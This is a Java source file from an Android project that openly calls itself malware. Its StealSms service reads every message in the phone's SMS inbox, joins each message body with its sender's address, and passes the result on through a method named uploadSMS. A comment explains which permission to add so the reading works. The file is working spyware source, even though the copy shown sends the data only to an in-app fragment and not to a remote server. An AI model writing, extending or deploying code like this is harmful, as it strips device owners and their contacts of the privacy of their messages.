package com.example.h3x.androidmalware.Services.Sms;

import android.app.Service;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;
import android.support.annotation.Nullable;
import com.example.h3x.androidmalware.View.Fragments.SmsFragment;

/**
 * Created by h3x on 21.02.18.
 * In this class we try to read
 * the saved SMS messages
 */

public class StealSms extends Service {
    @Nullable
    @Override

    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        String sms_str=getSMS();
        uploadSMS(sms_str);
        return  super.onStartCommand(intent, flags, startId);
    }

    /**
     * simple method for reading sms from Mobile phone
     * for using this method we can add
     * <uses-permission android:name="android.permission.READ_SMS"/>
     * to AndroidManifest
     * @return
     */
    public String getSMS() throws NullPointerException
    {
        //reading
        StringBuilder str = new StringBuilder(" ");
        Cursor c= getContentResolver().query(Uri.parse("content://sms/inbox"), null, null ,null,null);

        if (c != null && c.moveToFirst()) {
            for (int i = 0; i < c.getCount(); i++) {
                str.append(c.getString(c.getColumnIndexOrThrow("body"))).append(" : ");
                str.append(c.getString(c.getColumnIndexOrThrow("address"))).append("\n");
                c.moveToNext();
            }
        }
        c.close();

        return str.toString();

    }
    public void uploadSMS(String str)
    {
        //sending String to SmsFragment.class
        SmsFragment sms = new SmsFragment();
        sms.SetSms(str);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
    }
}
